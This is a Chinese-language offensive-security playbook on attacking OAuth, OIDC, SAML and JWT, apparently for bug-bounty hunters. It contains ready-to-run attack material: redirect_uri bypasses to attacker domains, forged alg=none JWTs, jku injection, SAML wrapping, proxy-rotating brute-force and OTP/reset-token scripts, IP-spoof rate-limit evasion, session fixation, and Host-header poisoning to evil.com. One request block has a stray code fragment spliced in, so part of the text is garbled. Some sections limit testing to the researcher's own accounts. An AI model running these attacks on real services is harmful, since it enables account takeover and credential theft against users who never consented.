# OAuth / OIDC / SAML / JWT

> 视角：黑盒，目标是绕过认证 / 伪造 token / 接管账号

## 1. 一句话说清

OAuth/OIDC/SAML 是把"认证"外包给第三方 IdP；JWT 是常用的 token 格式。
SRC 价值：能伪造任意用户身份 = P0；能让回调把 code 发到攻击者域 = P0。

---

## 2. 高频入口点

```
/oauth/authorize
/oauth2/authorize
/oauth/token
/connect/authorize
/.well-known/openid-configuration
/saml/login
/saml/acs
/jwks.json
/.well-known/jwks.json
登录后的 Authorization: Bearer eyJ...   （JWT）
回调：?code=xxx&state=xxx
```

---

## 3. 探测手法

### 3.1 OAuth redirect_uri 校验

```bash
# 1. 子串匹配漏洞
?redirect_uri=https://target.com.attacker.com
?redirect_uri=https://attacker.com/target.com
?redirect_uri=https://target.com.evil.com

# 2. 路径绕过
?redirect_uri=https://target.com/../attacker.com/cb
?redirect_uri=https://target.com@attacker.com
?redirect_uri=https://target.com#@attacker.com
?redirect_uri=https://target.com%2f@attacker.com
?redirect_uri=https://target.com%5c@attacker.com

# 3. URL 解析差异
?redirect_uri=https://attacker.com\@target.com
?redirect_uri=https://attacker.com%2f%40target.com/cb

# 4. 通配符 / 子域
?redirect_uri=https://attacker.target.com    （如果允许 *.target.com）

# 5. 大小写 / 编码
?redirect_uri=HTTPS://target.com.attacker.com
?redirect_uri=https://target.com%2eattacker.com

# 6. 空 / 缺失
?redirect_uri=
?redirect_uri  （无值）

# 7. CRLF
?redirect_uri=https://target.com%0d%0aLocation:%20https://attacker.com
```

成功的话 → 把 `code` 发到攻击者的 callback → 用 code 换 token。

### 3.2 state / nonce 缺失

```
# 不传 state
?response_type=code&client_id=xxx&redirect_uri=...

# 状态机理：state 缺失 → CSRF 登录绑定攻击
1. 攻击者用自己账号在 IdP 上获得 code
2. 诱导受害者访问 /callback?code=ATTACKER_CODE
3. 受害者绑定到攻击者账号
```

### 3.3 PKCE 缺失（移动 / SPA）

```
正常：code_challenge / code_verifier
攻击：拦截 code 后无 verifier 仍能换 token = PKCE 关闭

测试：
1. 看授权请求是否有 code_challenge 参数
2. 没有 → 拦截 code 后用 attacker 的 code_verifier 兑换（实际无 verifier 也行）
```

### 3.4 JWT 漏洞探针

```bash
# 1. alg=none
{"alg":"none","typ":"JWT"}.{...payload...}.   ← 空签名
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0
echo -n '{"sub":"admin"}' | base64 -w0
拼成 token：<header>.<payload>.

# 2. HS/RS 混淆
# 正常用 RS256（公钥+私钥），改成 HS256（共享密钥）
# 用泄露的公钥（或 jwks 里的 n+e）作为 HMAC 密钥伪造

python3 jwt_tool.py -X k -pk public.pem JWT

# 3. 弱密钥爆破
hashcat -m 16500 jwt.txt rockyou.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt

# 4. kid 路径遍历 / SQL 注入
{"alg":"HS256","kid":"../../../dev/null"}      → 用空文件作密钥
{"alg":"HS256","kid":"key1' UNION SELECT 'attacker_secret'--"}

# 5. jku 注入（外部 JWKS）
{"alg":"RS256","jku":"https://attacker.com/jwks.json"}
# 攻击者控制 JWKS → 提供自己的公钥 → 伪造 token

# 6. x5u 注入（外部证书）
{"alg":"RS256","x5u":"https://attacker.com/cert.pem"}

# 7. None 大小写
"alg":"None"  /  "alg":"NONE"  /  "alg":"nOnE"

# 8. 空签名
直接删掉签名段，留 header.payload.（保留点）
```

工具：
- `jwt_tool` (https://github.com/ticarpi/jwt_tool)
- `jwt.io`（手动编辑）
- Burp `JWT Editor` 插件

### 3.5 SAML 攻击

```xml
<!-- XSW (XML Signature Wrapping) -->
<!-- 把恶意断言包在已签名断言外 / 内 / 兄弟节点 -->

<samlp:Response>
  <saml:Assertion Signed>
    <saml:Subject>victim</saml:Subject>      ← 已签名
  </saml:Assertion>
  <saml:Assertion>
    <saml:Subject>admin</saml:Subject>        ← 未签名，但应用可能用这个
  </saml:Assertion>
</samlp:Response>

<!-- KeyInfo 注入 -->
<!-- 自己生成密钥对，把 X.509 证书塞进 KeyInfo -->

<!-- Recipient/Audience/InResponseTo 不校验 -->
<!-- Response 未签名（仅 Assertion 签了） -->
```

工具：`SAMLRaider`（Burp 插件）。

### 3.6 OIDC discovery 探针

```bash
curl https://target/.well-known/openid-configuration

# 看 jwks_uri 是否能被外部控制
# 看 issuer 是否能被改
# 看是否允许 alg=none
```

---

## 4. Bypass 矩阵

| 拦 | 绕 |
|---|---|
| redirect_uri 字面比较 | 子串、@ 字符、URL 编码、CRLF、子域 |
| state 必填 | 看是否真校验或只是占位 |
| PKCE 必启用 | 看授权请求是否真带 code_challenge |
| JWT alg=RS256 | 改 HS256 用公钥；改 alg=none |
| 服务端校验 jku 域 | DNS Rebinding |
| SAML Response 验签 | XSW 包裹 / 修改未签名节点 |
| 设备码限频 | 多 client_id 轮询 |

---

## 5. 利用提权 / 横向

```
redirect_uri 绕过 → code 给攻击者 → 换 token → 用 token 调 API
state 缺失 → CSRF 登录绑定 → 受害者数据归攻击者账号
JWT 伪造 → 任意用户身份 → 后台、API 全部沦陷
SAML XSW → 把 Subject 改成 admin → 直接进管理后台
```

---

## 6. 真实案例指纹

| 案例 | 一句话 |
|------|------|
| Slack OAuth | `redirect_uri` 子串校验，加 `@` 旁路 |
| Microsoft OAuth | `redirect_uri` 多次报告 |
| Auth0 | `state` 缺失导致 CSRF |
| 多个 SaaS | `kid` 路径遍历到 `/dev/null` |
| 某 Java SAML 实现 | XSW 攻击 |
| OWASP JuiceShop | JWT alg=none |

通用指纹：
- 授权请求里 `redirect_uri` 接受 `https://target.com@evil.com` 不报错 → 漏洞
- JWT header 含 `"alg":"RS256"`，改成 `"alg":"none"` 应用仍接受 → P0
- JWKS 端点返回 `kid` 列表，应用允许任意 `kid` 选 → 伪造
- SAML Response 的 `Recipient` 不被校验 → 重放

---

## 7. 复现 / 证据要点

### 7.1 PoC 模板（redirect_uri 绕过）

```
# 1. 触发授权
GET /oauth/authorize?client_id=xxx&response_type=code&redirect_uri=https://target.com@attacker.com/cb&state=1

# 2. 浏览器跳转到
Location: https://target.com@attacker.com/cb?code=AUTHCODE&state=1

# 3. 攻击者收到 code
attacker.com 日志：
  GET /cb?code=AUTHCODE&state=1

# 4. 用 code 换 token
POST /oauth/token
grant_type=authorization_code&code=AUTHCODE&redirect_uri=...&client_id=xxx&client_secret=...

→ 拿到 access_token 即证明，不实际调用业务 API
```

### 7.2 PoC 模板（JWT alg=none）

```
原 JWT：
eyJhbGciOiJSUzI1NiIs...

伪造（alg=none，sub=admin）：
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0     → eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
echo -n '{"sub":"admin","exp":9999999999}' | base64 -w0 → eyJzdWIiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0
拼接：eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0.

请求：
Authorization: Bearer <伪造 token>

→ 服务端响应 200 + admin 权限内容（脱敏截图）
```

### 7.3 CVSS

```
redirect_uri 绕过 → 账号接管        = 8.1 / 9.1 High–Critical
state 缺失 → 登录绑定 CSRF          = 6.1
PKCE 缺失（移动）                   = 5.4
JWT alg=none                        = 9.8 Critical
JWT HS/RS 混淆                       = 9.8 Critical
SAML XSW                            = 9.8 Critical
```

### 7.4 影响段

```
通过 /oauth/authorize 接口的 redirect_uri 参数，使用 `https://target.com@attacker.com/cb`
形式可绕过域名校验，将授权码定向至攻击者控制的域。攻击者可：
1. 诱导受害者点击恶意授权链接；
2. 受害者在 IdP 完成登录后，code 被发送到 attacker.com；
3. 攻击者用 code 换取 access_token，完整接管受害者账号。

测试时使用了攻击者控制的两个账号（攻击者 + "受害者"均为研究员账号），
未触及任何真实用户。
```

---

## 相关 MCP 工具

实战中可调用 jshookmcp 完成自动化。**默认 `search` profile 未预加载工具,调用前先用 `mcp__jshook__activate_tools <工具名>` 激活**(详见 [`../tools/mcp-jshook.md`](../tools/mcp-jshook.md) §推荐 profile)。

| 工具 | 域 | 调用时机 |
|---|---|---|
| `mcp__jshook__network_extract_auth` | network | 自动从抓包中提取 JWT / OAuth token / cookie |
| `mcp__jshook__binary_encode` + `mcp__jshook__binary_decode` | encoding | JWT header / payload base64 改写,签名段单独处理 |
| `mcp__jshook__network_replay_request` | network | 修改 redirect_uri / state / nonce 重放 |
| `mcp__jshook__debugger_evaluate` | debugger | 在前端追 SAML 断言 / JWT 解析逻辑 |
| `mcp__jshook__detect_crypto` + `mcp__jshook__crypto_extract_standalone` | core / transform | 提取签名函数离线复算 |

完整映射:[`../tools/mcp-jshook.md`](../tools/mcp-jshook.md)

## 8. 不要做的事

- **禁**：用 redirect_uri 绕过实际抓真实用户的 code（即使是诱导朋友点击也不行）。用自己的两个账号自演。
- **禁**：JWT 伪造 admin 后实际操作管理后台（删除、修改、创建）。仅证明 200 + admin 内容。
- **禁**：SAML XSW 后实际进行高权限操作。
- **禁**：在 jku 注入 PoC 中托管真实 jwks 长时间在线（用完即删）。
- **限**：JWT 暴力破解只在自己拿到的 token 上离线进行，不要在线打 IdP。

## H1 真实案例

_共 240 份 HackerOne 已披露 High/Critical 报告命中本类，按 (赏金 + 投票×100) 排序取 Top 12_

| Severity | $ | 程序 | 标题（点击看原报告） | 摘要 |
|---|--:|---|---|---|
| Critical | — | Shopify | [Takeover an account that doesn't have a Shopify ID and more](https://hackerone.com/reports/867513) | Details The https://pos-channel.shopifycloud.com/graphql-proxy/admin can be exploited to update a staff member email without an… |
| Critical | — | Shopify | [Email Confirmation Bypass in myshop.myshopify.com that Leads to Full Privilege Escalation to Any …](https://hackerone.com/reports/791775) | I told Pete I would take a look at Spotify, hi Pete. Summary It's possible to take over any store account through bypassing the… |
| Critical | — | Snapchat | [Improper Authentication - any user can login as other user with otp/logout & otp/login](https://hackerone.com/reports/921780) | '/scauth/otp/droid/logout' request contains user_id parameter. Usually it is equal to current user user_id, but if an attacker … |
| Critical | — | Shopify | [[Part II] Email Confirmation Bypass in myshop.myshopify.com that Leads to Full Privilege Escalation](https://hackerone.com/reports/796808) | Summary In #791775, I submitted a bug at Sunday 5pm Canada time, it was triaged two hours later, and I got the **temp** fix mes… |
| Critical | — | Flickr | [Flickr Account Takeover using AWS Cognito API](https://hackerone.com/reports/1342088) | Flickr uses Amazon Cognito to implement its login functionality. Furthermore, Flickr does not allow users to change their regis… |
| High | — | Uber | [Chained Bugs to Leak Victim's Uber's FB Oauth Token](https://hackerone.com/reports/202781) | Chained Bugs to Leak Victim's Uber's FB Oauth Token |
| Critical | 15000 usd | TikTok | [Incorrect authorization to the intelbot service leading to ticket information](https://hackerone.com/reports/1328546) | Incorrect authorization to the intelbot service leading to ticket information |
| High | 10500 usd | Superhuman (formerly Grammarly) | [Ability to DOS any organization's SSO and open up the door to account takeovers](https://hackerone.com/reports/976603) | Summary:** There's an interesting issue I've spent quite a few days trying to escalate but can't figure out |
| High | 13000 usd | Stripe | [Mass Accounts Takeover Without any user Interaction  at https://app.taxjar.com/](https://hackerone.com/reports/1685970) | Mass Accounts Takeover Without any user Interaction at https://app.taxjar.com/ |
| High | 7500 usd | Snapchat | [Stealing SSO Login Tokens (snappublisher.snapchat.com)](https://hackerone.com/reports/265943) | Description Attacker can steal SSO login tokens for snappublisher.snapchat.com by chaining different flaws in SSO and Snapchat’… |
| High | — | X / xAI | [Bypass Password Authentication for updating email and phone number - Security Vulnerability](https://hackerone.com/reports/770504) | Summary:** [Additional requirement for authentication is an extra layer of security for a person's Twitter account |
| Critical | 12000 usd | TikTok | [Account Takeover via Authentication Bypass in TikTok Account Recovery](https://hackerone.com/reports/2443228) | Account Takeover via Authentication Bypass in TikTok Account Recovery |

**命中本类的 weakness 分布：**

- Improper Authentication - Generic：123 条
- Uncategorized → 手工归类：30 条
- Cryptographic Issues - Generic：18 条
- Improper Certificate Validation：12 条
- Authentication Bypass Using an Alternate Path or Channel：12 条
- Open Redirect：10 条
- Insufficient Session Expiration：4 条
- Reliance on Cookies without Validation and Integrity Checking in a Security Decision：3 条
- Authentication Bypass by Primary Weakness：2 条
- Missing Required Cryptographic Step：2 条
- Authentication Bypass：2 条
- Use of Hard-coded Cryptographic Key：2 条
- Key Exchange without Entity Authentication：2 条
- Reliance on Untrusted Inputs in a Security Decision：2 条
- Use of a Broken or Risky Cryptographic Algorithm：2 条
- Session Fixation：2 条
- Storing Passwords in a Recoverable Format：2 条
- Plaintext Storage of a Password：2 条
- Unverified Password Change：2 条
- Use of Insufficiently Random Values：1 条
- Missing Critical Step in Authentication：1 条
- Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)：1 条
- Weak Cryptography for Passwords：1 条
- Reusing a Nonce, Key Pair in Encryption：1 条
- Use of a Key Past its Expiration Date：1 条


## Payload 库

_17 个结构化 web payload，含完整攻击链 + WAF/EDR 绕过变体_

**类别分布：** 认证漏洞 (10) · JWT安全 (4) · 开放重定向 (3)

### · 认证漏洞

### 认证绕过  `auth-bypass`
Web应用认证绕过技术
子类：**认证绕过** · tags: `auth` `bypass` `authentication`

**前置条件：** 目标存在认证机制；认证实现存在缺陷

**攻击链：**

**1. SQL注入绕过**
_SQL注入绕过登录_
```
admin'--
admin' OR '1'='1
```

**2. 数组绕过**
_PHP数组绕过_
```
user[]=admin&pass[]=admin
```

**3. 类型转换**
_类型转换绕过_
```
# PHP类型转换绕过 - 数组与类型混淆:
# 1. 数组绕过密码比较(strcmp绕过):
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user=admin&pass[]=1
# strcmp(array, string) 在PHP中返回NULL，NULL == 0 为true

# 2. 松散比较绕过:
POST /login HTTP/1.1
Content-Type: application/json,

        syntaxBreakdown: [
          { part: ''', explanation: { zh: '闭合引号', en: 'Close quote' }, type: 'char' },
          { part: 'OR', explanation: { zh: '逻辑或', en: 'Logical OR' }, type: 'keyword' },
          { part: '--', explanation: { zh: 'SQL注释', en: 'SQL comment' }, type: 'operator' }
        ]
{"user":"admin","pass":true}
# true == "any_string" 在PHP松散比较中为true

# 3. 数字型字符串绕过:
{"user":"admin","pass":0}
# 0 == "password_string" 在PHP中为true(PHP < 8.0)
```

**4. JSON绕过**
_NoSQL绕过_
```
{"user":"admin","pass":{"$ne":""}}
```

**5. IP伪造**
_IP伪造绕过_
```
X-Forwarded-For: 127.0.0.1
X-Original-URL: /admin
```

**6. HTTP方法**
_HTTP方法绕过_
```
# HTTP方法篡改绕过认证:
# 1. 尝试不同HTTP方法:
curl -X POST "http://target.com/admin" -v
curl -X PUT "http://target.com/admin" -v
curl -X PATCH "http://target.com/admin" -v
curl -X DELETE "http://target.com/admin" -v
curl -X OPTIONS "http://target.com/admin" -v

# 2. 方法覆盖头:
curl -X POST -H "X-HTTP-Method-Override: PUT" "http://target.com/admin"
curl -X POST -H "X-Method-Override: DELETE" "http://target.com/admin"

# 3. URL路径穿越绕过:
curl "http://target.com/admin/..;/admin"
curl "http://target.com/;/admin"
curl "http://target.com/%2e%2e/admin"
```

**WAF/EDR 绕过变体：**

**1. HTTP方法篡改与路径规范化**
_使用非标准HTTP方法或方法覆盖头绕过基于方法的访问控制，利用URL路径大小写、双斜杠、点号、编码等规范化差异绕过路径匹配_
```
# HTTP方法篡改:
GET /admin HTTP/1.1 → 403
POST /admin HTTP/1.1 → 200
PATCH /admin HTTP/1.1
OPTIONS /admin HTTP/1.1
X-HTTP-Method: PUT
X-HTTP-Method-Override: DELETE

# 路径规范化:
/admin → 403
/ADMIN → 200
/admin/ → 200
//admin → 200
/./admin → 200
/admin..;/ → 200
/%61dmin → 200
```

**2. HTTP/2伪头与请求拆分**
_利用HTTP/2伪头部(:path等)或X-Original-URL/X-Rewrite-URL头覆盖请求路径绕过反向代理ACL，通过IP伪造头绕过基于来源的认证_
```
# HTTP/2伪头绕过:
:method: GET
:path: /admin
:authority: target.com
X-Original-URL: /admin
X-Rewrite-URL: /admin

# Header注入:
Host: target.com
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-Host: localhost
```

---

### 暴力破解  `auth-brute`
自动化密码猜测攻击
子类：**暴力破解** · tags: `auth` `brute-force` `password`

**前置条件：** 无验证码；无锁定策略

**攻击链：**

**1. Pitchfork**
_多字段同时爆破_
```
Burp Intruder: Pitchfork模式
```

**2. Cluster bomb**
_笛卡尔积爆破_
```
Burp Intruder: Cluster bomb模式
```

**3. 基于响应差异的用户名枚举**  _[linux]_
_通过响应状态码/长度/时间的差异来区分有效和无效用户名_
```
# 通过响应长度/时间差异枚举有效用户名
# 对比有效 vs 无效用户名的响应:
curl -s -o /dev/null -w "user=admin: code=%{http_code} size=%{size_download} time=%{time_total}s"   -d "username=admin&password=wrong" "http://target.com/login"

curl -s -o /dev/null -w "user=xxxxx: code=%{http_code} size=%{size_download} time=%{time_total}s"   -d "username=nonexistent_user_xxxxx&password=wrong" "http://target.com/login"

# 批量枚举(注意响应差异):
for user in $(cat /usr/share/seclists/Usernames/top-usernames-shortlist.txt); do
  resp=$(curl -s -o /tmp/resp.txt -w "%{http_code}:%{size_download}:%{time_total}"     -d "username=${user}&password=test" "http://target.com/login")
  echo "${user}: ${resp}"
  sleep 1
done
```

**4. 验证码/OTP爆破与绕过**
_针对OTP验证码的爆破和各种逻辑绕过手法_
```
# 场景1: 4-6位数字验证码爆破
# 检测验证码是否有速率限制:
for i in $(seq 1 10); do
  code=$(printf "%06d" $RANDOM | cut -c1-6)
  resp=$(curl -s -o /dev/null -w "%{http_code}"     -d "otp=${code}" "http://target.com/verify-otp")
  echo "Attempt ${i}: otp=${code} → HTTP ${resp}"
done

# 场景2: 通过修改响应绕过前端验证码校验
# 抓包修改响应 {"success":false} → {"success":true}

# 场景3: 验证码复用(同一验证码多次有效)
# 获取验证码后，用同一验证码尝试不同账户

# 场景4: 验证码泄露在响应中
curl -v -d "phone=13800138000&action=send_code" "http://target.com/api/sms"
# 检查响应头/响应体是否包含验证码
```

**5. 分布式暴力破解与IP轮换**
_使用代理池轮换IP避免被封禁，进行分布式暴力破解_
```
# 使用代理池进行分布式爆破:
import requests
import itertools
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://target.com/login"
proxies_list = open("proxies.txt").read().splitlines()
usernames = ["admin", "administrator", "root", "test"]
passwords = open("/usr/share/wordlists/rockyou-top1000.txt").read().splitlines()

proxy_cycle = itertools.cycle(proxies_list)

def try_login(combo):
    user, pwd = combo
    proxy = next(proxy_cycle)
    try:
        r = requests.post(TARGET,
            data={"username": user, "password": pwd},
            proxies={"http": proxy, "https": proxy},
            timeout=10,
            headers={"User-Agent": f"Mozilla/5.0 (rv:{hash(proxy)%90+10}.0)"}
        )
        if r.status_code == 302 or "dashboard" in r.text.lower():
            print(f"[+] FOUND: {user}:{pwd} via {proxy}")
            return (user, pwd)
    except: pass
    return None

combos = [(u,p) for u in usernames for p in passwords]
with ThreadPoolExecutor(max_workers=5) as pool:
    results = list(pool.map(try_login, combos))
    found = [r for r in results if r]
    for f in found: print(f"[+] Valid: {f[0]}:{f[1]}")
```

**WAF/EDR 绕过变体：**

**1. 速率限制绕过(HTTP头伪造)**
_通过伪造X-Forwarded-For等HTTP头绕过基于IP的速率限制_
```
# 通过伪造IP头绕过基于IP的速率限制:
import requests
import random

TARGET = "http://target.com/login"
headers_rotation = [
    "X-Forwarded-For", "X-Real-IP", "X-Originating-IP",
    "X-Remote-Addr", "X-Client-IP", "X-Remote-IP",
    "CF-Connecting-IP", "True-Client-IP", "Forwarded"
]

def brute_with_header_bypass(username, password):
    fake_ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
    h = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
    for header in headers_rotation:
        h[header] = fake_ip
    r = requests.post(TARGET, data={"username": username, "password": password}, headers=h, timeout=10)
    return r

# 每次请求使用不同伪造IP
passwords = ["admin", "123456", "password", "admin123", "root"]
for pwd in passwords:
    r = brute_with_header_bypass("admin", pwd)
    print(f"admin:{pwd} → {r.status_code} ({len(r.text)})")
```

**2. 参数污染与大小写绕过**
_通过参数污染、格式切换、编码混淆绕过WAF对暴力破解的检测_
```
# 参数污染绕过:
# 正常请求(被限制):
curl -d "username=admin&password=test" "http://target.com/login"

# 参数重复(某些后端取最后一个值):
curl -d "username=admin&username=admin&password=test" "http://target.com/login"

# JSON格式切换(如果支持):
curl -H "Content-Type: application/json"   -d '{"username":"admin","password":"test"}' "http://target.com/login"

# 大小写混淆:
curl -d "Username=admin&Password=test" "http://target.com/login"
curl -d "USERNAME=admin&PASSWORD=test" "http://target.com/login"

# Unicode混淆:
curl -d "username=admin&password=test" "http://target.com/login"

# 额外参数注入:
curl -d "username=admin&password=test&captcha=&token=" "http://target.com/login"

# 不同编码:
curl -d "username=admin&password=test" "http://target.com/login" -H "Content-Type: application/x-www-form-urlencoded; charset=IBM037"
```

---

### 会话劫持  `auth-session`
利用会话管理缺陷劫持或伪造用户会话，获取未授权访问权限
子类：**会话管理** · tags: `auth` `session` `hijack`

**前置条件：** 目标使用基于Cookie或Token的会话管理；可以截获或预测会话标识符；网络通信未完全加密(HTTP)或存在XSS

**攻击链：**

**1. 会话Cookie属性分析**  _[linux]_
_分析目标会话Cookie的安全属性配置_
```
# 检测Cookie安全属性
curl -v "http://target.com/login" 2>&1 | grep -i "set-cookie"

# 检查关键属性:
# - HttpOnly: 防止JS读取Cookie
# - Secure: 仅通过HTTPS传输
# - SameSite: 防止CSRF
# - Path/Domain: Cookie作用域
# - Expires/Max-Age: 会话生命周期

# 批量分析Cookie:
curl -c - "http://target.com/login" -d "user=test&pass=test" 2>/dev/null | tail -5
```

**2. 会话固定攻击(Session Fixation)**  _[linux]_
_通过预设sessionId使受害者登录后攻击者可以复用该会话_
```
# 1. 攻击者获取一个有效的sessionId
curl -c cookies.txt "http://target.com/"
cat cookies.txt | grep -i "session|jsession|phpsess"

# 2. 构造包含固定sessionId的链接诱使受害者登录
# http://target.com/login;jsessionid=ATTACKER_SESSION_ID
# 或通过Set-Cookie注入:
# http://target.com/page?lang=en%0d%0aSet-Cookie:%20PHPSESSID=FIXED_SESSION

# 3. 受害者使用该sessionId登录后，攻击者直接使用同一sessionId
curl -b "PHPSESSID=FIXED_SESSION" "http://target.com/dashboard"
```

**3. 会话劫持(HTTP嗅探)**  _[linux]_
_在未加密的HTTP通信中截获会话Cookie_
```
# 在同一网络中嗅探HTTP Cookie (需要中间人位置)
# 使用Wireshark过滤:
http.cookie contains "session" or http.cookie contains "PHPSESSID"

# 或使用tcpdump:
tcpdump -i eth0 -A -s 0 'port 80 and (tcp[((tcp[12:1]&0xf0)>>2):4] = 0x436F6F6B)'

# 获取Cookie后直接使用:
curl -b "PHPSESSID=STOLEN_SESSION_ID" "http://target.com/admin/dashboard"
```

**4. 会话预测(弱随机性)**  _[linux]_
_通过收集多个sessionId分析其生成规律，预测有效的会话标识符_
```
# 批量收集sessionId分析规律
for i in $(seq 1 20); do
  sid=$(curl -sI "http://target.com/" | grep -i "set-cookie" | grep -oP "(?<=PHPSESSID=)[^;]+")
  echo "$i: $sid"
  sleep 0.5
done

# 使用Burp Suite Sequencer分析随机性
# 或Python分析:
# python3 -c "
# import hashlib, time
# # 如果sessionId基于时间戳:
# for t in range(int(time.time())-100, int(time.time())+100):
#     predicted = hashlib.md5(str(t).encode()).hexdigest()
#     print(predicted)
# "
```

**WAF/EDR 绕过变体：**

**1. Cookie Jar溢出与Cookie Tossing**
_通过大量设置Cookie超出浏览器存储上限挤出合法session Cookie，或利用子域名权限向父域注入恶意Cookie实现会话覆盖_
```
# Cookie Jar溢出:
# 设置大量Cookie(超过浏览器上限~50个)使旧Cookie被挤出:
for(let i=0;i<700;i++){document.cookie=`c${i}=x;domain=.target.com`}
# 原有session Cookie被挤出后可注入攻击者的session

# Cookie Tossing(子域注入):
# 从subdomain.target.com设置Cookie:
document.cookie="session=ATTACKER_SID;domain=.target.com;path=/"
# 该Cookie在主域target.com上也生效
```

**2. SameSite绕过与跨站会话泄露**
_利用SameSite=Lax允许顶级导航GET请求携带Cookie的特性通过链接点击或window.open发起带凭据的跨站请求_
```
# SameSite=Lax绕过(顶级导航GET请求携带Cookie):
<a href="http://target.com/api/transfer?to=attacker&amount=1000">click</a>
# Lax模式下GET请求会携带Cookie

# SameSite=None利用(需Secure):
# 如果设置了SameSite=None但缺少Secure属性:
# Chrome会拒绝，但旧浏览器可能接受

# 通过window.open绕过:
window.open("http://target.com/api/userinfo")
# 新窗口属于顶级导航，Lax模式下携带Cookie
```

---

### 密码重置漏洞  `auth-password-reset`
绕过密码重置流程
子类：**逻辑漏洞** · tags: `auth` `password-reset` `logic`

**前置条件：** 密码重置功能存在逻辑缺陷

**攻击链：**

**1. Host头投毒**
_重置链接指向攻击者域名_
```
# Host头投毒劫持密码重置链接:
# 1. 基础Host头投毒:
POST /forgot-password HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded

email=victim@target.com
# 重置链接将变为: http://evil.com/reset?token=xxx

# 2. X-Forwarded-Host投毒:
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

email=victim@target.com

# 3. 双Host头:
POST /forgot-password HTTP/1.1
Host: target.com
Host: evil.com

email=victim@target.com

# 4. 通过Burp Collaborator验证:
Host: BURP-COLLABORATOR-ID.burpcollaborator.net
```

**2. Token爆破**
_验证码过短_
```
# 密码重置验证码爆破:
# 1. 发送重置验证码请求:
curl -d "email=victim@target.com" "http://target.com/forgot-password"

# 2. 四位数字验证码爆破(0000-9999):
# Burp Intruder设置:
POST /reset-password HTTP/1.1
Content-Type: application/x-www-form-urlencoded

email=victim@target.com&code=§0000§
# Payload: Numbers, From 0, To 9999, Min/Max 4 digits

# 3. 六位验证码爆破(需更多时间):
import requests
for code in range(0, 999999):
    r = requests.post('http://target.com/reset-password',
        data={'email':'victim@target.com','code':f'{code:06d}'})
    if 'success' in r.text or r.status_code == 302:
        print(f'Valid code: {code:06d}')
        break
```

**3. 密码重置Token可预测性分析**
_分析密码重置Token的生成规律，判断是否可预测_
```
# 批量请求密码重置Token分析规律:
import requests
import time
import hashlib

tokens = []
for i in range(10):
    r = requests.post("http://target.com/api/password-reset",
        data={"email": f"test{i}@example.com"})
    # 从邮件API或响应中获取token
    if "token" in r.text:
        import json
        token = json.loads(r.text).get("token", "")
        tokens.append({"time": time.time(), "token": token})
        print(f"Token {i}: {token}")
    time.sleep(0.5)

# 分析Token模式:
for i, t in enumerate(tokens):
    print(f"Token {i}: len={len(t['token'])}, "
          f"hex={'yes' if all(c in '0123456789abcdef' for c in t['token'].lower()) else 'no'}, "
          f"time={t['time']}")

# 检查是否基于时间戳:
for ts in range(int(tokens[0]['time'])-5, int(tokens[0]['time'])+5):
    candidate = hashlib.md5(str(ts).encode()).hexdigest()
    if candidate == tokens[0]['token']:
        print(f"[+] Token is MD5(timestamp)! Predictable!")
```

**4. 密码重置流程逻辑缺陷**
_测试密码重置流程中的各种逻辑漏洞_
```
# 1. 参数篡改 - 修改邮箱/手机号:
# 发送重置请求时替换接收邮箱
curl -d "email=victim@target.com&notify_email=attacker@evil.com"   "http://target.com/api/password-reset"

# 2. IDOR - 直接使用他人的重置Token/UID:
curl -d "token=VALID_TOKEN&uid=OTHER_USER_ID&new_password=hacked123"   "http://target.com/api/password-reset/confirm"

# 3. 步骤跳过 - 直接访问设置新密码页面:
curl -d "uid=123&new_password=test12345"   "http://target.com/api/password-reset/set-password"

# 4. Token不失效 - 使用已用过的Token:
curl -d "token=ALREADY_USED_TOKEN&new_password=newpass123"   "http://target.com/api/password-reset/confirm"

# 5. 密码重置投毒(Host头注入):
curl -H "Host: evil.com" -H "X-Forwarded-Host: evil.com"   -d "email=victim@target.com" "http://target.com/api/password-reset"
# 受害者收到的重置链接: http://evil.com/reset?token=xxx
```

**WAF/EDR 绕过变体：**

**1. Host头投毒多种变体绕过**
_Host头投毒的多种WAF绕过变体_
```
# 标准Host头投毒:
curl -H "Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot"

# X-Forwarded-Host(常被Web框架信任):
curl -H "X-Forwarded-Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot"

# 多Host头:
curl -H "Host: target.com" -H "Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot"

# Host中注入端口:
curl -H "Host: target.com@evil.com" -d "email=victim@target.com" "http://target.com/forgot"
curl -H "Host: target.com:evil.com" -d "email=victim@target.com" "http://target.com/forgot"

# 绝对URL覆盖Host:
curl "http://target.com/forgot" -H "Host: evil.com" --request-target "http://target.com/forgot"

# X-Original-URL / X-Rewrite-URL:
curl -H "X-Original-URL: /forgot" -H "Host: evil.com" "http://target.com/forgot"
```

**2. Token爆破速率限制绕过**
_通过IP头轮换和UA随机化绕过重置Token爆破的速率限制_
```
# IP轮换绕过速率限制:
import requests
import random

def try_token(token, proxy=None):
    headers = {
        "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(0,254)}.{random.randint(0,254)}.{random.randint(1,254)}",
        "User-Agent": random.choice([
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
            "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
        ])
    }
    r = requests.post("http://target.com/reset-password",
        data={"token": token, "new_password": "Test123!"},
        headers=headers, timeout=10)
    return r.status_code != 400

# 如果Token是6位数字:
for i in range(0, 1000000):
    token = f"{i:06d}"
    if try_token(token):
        print(f"[+] Valid token: {token}")
        break
```

---

